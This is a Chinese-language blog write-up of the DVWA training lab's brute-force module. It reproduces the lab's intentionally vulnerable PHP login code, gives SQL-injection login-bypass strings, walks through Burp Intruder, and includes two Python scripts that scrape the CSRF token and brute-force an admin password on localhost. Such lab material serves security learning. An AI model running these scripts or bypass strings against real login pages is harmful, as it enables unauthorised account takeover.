DVWA之暴力破解


title: DVWA之暴力破解
date: 2019-03-19 19:00:50
tags:
- DVWA
- burpsuite
- 暴力破解
categories:
- Web安全
- DVWA
- 暴力破解


针对DVWA里的暴力破解漏洞进行实验测试。主要内容包括BurpSuite的一些Intruder模块的基本使用和简单的python脚本编写。

简介

搞Web安全和渗透的,估计都玩过Dvwa这个靶机。所以关于Dvwa就不说了。直接进入主题吧

Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击

话不多说,下面就针对Dvwa中暴力破解模块的不同级别进行分析测试吧。

Low级别

先来看源码

<?php 

if( isset( $_GET[ 'Login' ] ) ) { 
    // Get username 
    $user = $_GET[ 'username' ]; 

    // Get password 
    $pass = $_GET[ 'password' ]; 
    $pass = md5( $pass ); 

    // Check the database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) { 
        // Get users details 
        $row    = mysqli_fetch_assoc( $result ); 
        $avatar = $row["avatar"]; 

        // Login successful 
        echo "<p>Welcome to the password protected area {$user}</p>"; 
        echo "<img src=\"{$avatar}\" />"; 
    } 
    else { 
        // Login failed 
        echo "<pre><br />Username and/or password incorrect.</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

?> 

可以看到,对于登录的处理,服务器只是验证参数Login是否被设置,并没有任何的防爆破机制。因此可以通过BurpSuite进行爆破。
if( isset( $_GET[ 'Login' ] ) )

此外对参数username、password等也没做任何过滤处理。因此此处还存在SQL注入漏洞,可以使用万能密码绕过,在用户名处输入admin'#或者admin' or '1'='1即可登录。

使用Burp进行爆破

  1. 打开Burp,记得设置浏览器代理。


    image
  2. 进行抓包
    浏览器设置好代理后,点击Login按钮,可以看到Burp成功抓包


    image

    image
  3. 抓到包后,按ctrl+l键,或者右键选择send to Intruder


    image
  4. 因为是要对password参数进行爆破,所以只在password参数内容两边加$


    image

    image
  5. 设置好要爆破的参数后,选择Payloads模块设置字典。
    可以使用Burp自带的简单字典,或者自己去网上下载构造。
    因为此处Burp自带的字典里没有password(正确密码),故我们手动加入进去


    image
  6. 设置攻击字典后,设置爆破线程
    暴力破解是一个穷举的过程,速度很慢,故可以通过多线程加快速度。
    但Burp社区版不提供增加线程功能,我用的是Burp pro破解版
    将线程设为50个,然后点击start attack开始爆破


    image
  7. 上一步点击开始爆破后,会切换到一个爆破任务详情新窗口
    在分析爆破结果前,先讲一下原理(感觉太啰嗦了,麻烦且累以后还是不写这么详细好了)
    我们分别通过万能密码和错误的密码成功登陆和失败登陆,如下两图


    image

    image

    可以看到,返回的信息是不同的,所以响应包的长度Length也不一样

  8. 因此,在爆破任务详情窗口可以通过Length进行筛选
    选出Length “与众不同”的payload即为密码


    image

Medium级别

贴上源码

<?php 

if( isset( $_GET[ 'Login' ] ) ) { 
    // Sanitise username input 
    $user = $_GET[ 'username' ]; 
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Sanitise password input 
    $pass = $_GET[ 'password' ]; 
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    $pass = md5( $pass ); 

    // Check the database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) { 
        // Get users details 
        $row    = mysqli_fetch_assoc( $result ); 
        $avatar = $row["avatar"]; 

        // Login successful 
        echo "<p>Welcome to the password protected area {$user}</p>"; 
        echo "<img src=\"{$avatar}\" />"; 
    } 
    else { 
        // Login failed 
        sleep( 2 ); 
        echo "<pre><br />Username and/or password incorrect.</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

?> 

可以看到,相比low级别的代码,这里主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号进行转义,基本上能抵御SQL注入攻击。但对登录并没做什么防护,因此跟Low级别一样,使用Burp进行爆破即可。

High级别

贴上源码


<?php 

if( isset( $_GET[ 'Login' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Sanitise username input 
    $user = $_GET[ 'username' ]; 
    $user = stripslashes( $user ); 
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Sanitise password input 
    $pass = $_GET[ 'password' ]; 
    $pass = stripslashes( $pass ); 
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    $pass = md5( $pass ); 

    // Check database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) { 
        // Get users details 
        $row    = mysqli_fetch_assoc( $result ); 
        $avatar = $row["avatar"]; 

        // Login successful 
        echo "<p>Welcome to the password protected area {$user}</p>"; 
        echo "<img src=\"{$avatar}\" />"; 
    } 
    else { 
        // Login failed 
        sleep( rand( 0, 3 ) ); 
        echo "<pre><br />Username and/or password incorrect.</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

分析

High级别的代码加入了随机token,可以抵御CSRF攻击,但同时增加了爆破的难度。虽然不能用Burp爆破,但可以用python jio脚本呀
先抓一下包分析一下请求

image

可以看到,每次服务器返回的登录页面都会生成一个随机的user_token,用户每次登陆时都要将user_token一起提交,服务器每次收到请求后,也都会先做token的检查,再进行sql查询

脚本编写

思路

每次用python登录之前,先用python访问登录页面通过BeautifulSoup将user_token抓取出来。抓出来之后拼接url进行登录。我写了两个脚本,原理都差不多,不过是第二个用了requests库中的Session方法。

实现

好了,不多bb,开始写吧

先贴代码
#Version:python3
#coding=utf-8
#Author:Miracle778
from bs4 import BeautifulSoup
import urllib3
import requests
header = {
    'Host':'127.0.0.1',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Referer':'http://127.0.0.1/vulnerabilities/brute/',
    'Accept-Encoding':'gzip, deflate',
    'Accept-Language':'zh-CN,zh;q=0.9',
    'Cookie':'Pycharm-ae03759a=6fdf0374-3228-456b-ae40-07e2c178708e;PHPSESSID=3b23u5l2qlg5nmedn4ebrltbg6;security=high',
    'Connection':'close'
}

requrl = 'http://127.0.0.1/vulnerabilities/brute/'
def get_token(requrl,header):
    req = requests.get(url=requrl,headers=header)
    response = req.text
    soup = BeautifulSoup(response,'html.parser')
    user_token = soup.form.find_all(name='input')[-1]['value']
    return user_token

#爆10次
i = 0
user_token= get_token(requrl,header)
for line in open("passwd.txt"):
    url = requrl + '?username=admin&password=' + line.strip() \
          + '&Login=Login&user_token=' + user_token

    i = i+1
    req = requests.get(url,headers=header)
    status_code = req.status_code
    length = len(req.text)
    print(i,'admin',line.strip(),status_code,length)
    user_token = get_token(requrl,header)
    if i==10:
        break
#Version:python3
#coding=utf-8
#Author:Miracle778
import requests
from bs4 import BeautifulSoup
s = requests.Session()
header = {
    'Host':'127.0.0.1',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Referer':'http://127.0.0.1/vulnerabilities/brute/',
    'Accept-Encoding':'gzip, deflate',
    'Accept-Language':'zh-CN,zh;q=0.9',
    'Cookie':'Pycharm-ae03759a=6fdf0374-3228-456b-ae40-07e2c178708e;PHPSESSID=3b23u5l2qlg5nmedn4ebrltbg6;security=high',
    'Connection':'close'
}

s.headers = header
requrl = 'http://127.0.0.1/vulnerabilities/brute/'
def get_token(requrl):
    req = s.get(requrl)
    soup = BeautifulSoup(req.text,'html.parser')
    user_token = soup.form.find_all(name='input')[-1]['value']
    return user_token

for line in open("passwd.txt"):
    user_token = get_token(requrl)
    url = requrl + '?username=admin&password=' + line.strip() \
          + '&Login=Login&user_token=' + user_token
    reponse = s.get(url)
    status_code = reponse.status_code
    length = len(reponse.text)
    print('admin',line.strip(),status_code,length)
编写中注意的点
先用浏览器F12一下,找出user_token所在标签

image

理清结构后使用BeautifulSoup进行提取(可以用一些爬虫插件、或者直接用python解释器测试)
得到BeautifulSoup提取语句:user_token = soup.form.find_all(name='input')[-1]['value']

设置header要注意,不然脚本无效

因为这个实验测试是之前做的,写文章的时候复现时发现,header不对的话脚本无效
说一下设置header的方法吧。

用Burp抓一下包,然后照着结果设置header。此处应有个笑哭的emoji

image

效果
image

image

Impossible级别

这个不怎么好写,就不写了

总结

想起之前看别人博客学习的时候,别人写的太简洁了而自己知识面不够广,导致自己学习的时候一脸懵。那种自闭的感觉很容易消磨学习的兴趣。所以自己刚开始写Blog,就总想着写得详细。但写得详细的话,太费时间了。所以之后看情况写吧,一些太啰嗦的东西就懒得贴上来了。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,417评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,921评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,850评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,945评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,069评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,188评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,239评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,994评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,409评论 1 304
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,735评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,898评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,578评论 4 336
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,205评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,916评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,156评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,722评论 2 363
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,781评论 2 351

推荐阅读更多精彩内容